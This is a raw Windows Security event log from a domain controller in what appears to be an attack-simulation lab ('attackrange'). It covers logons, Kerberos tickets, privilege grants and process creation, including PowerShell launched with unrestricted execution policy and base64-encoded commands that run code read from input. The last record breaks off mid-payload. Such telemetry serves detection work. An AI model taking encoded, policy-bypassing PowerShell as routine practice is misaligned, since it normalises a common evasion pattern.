-ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249797 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEDFB5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249796 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEDF54 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249795 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEDF54 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64322 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249794 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEDF54 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249793 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEDEEE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249792 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEDEEE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64321 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249791 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEDEEE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249790 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEDE8D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249789 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEDE8D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64320 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249788 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEDE8D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249787 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEDBBC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249786 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEDBBC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249785 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249784 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249783 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249782 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf5c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249781 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5d8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x9b0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249780 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC883 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249779 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC883 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249778 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249777 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A461350A-D96B-0B48-E20D-434B379AF17B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249776 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249775 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9b0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf10 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQ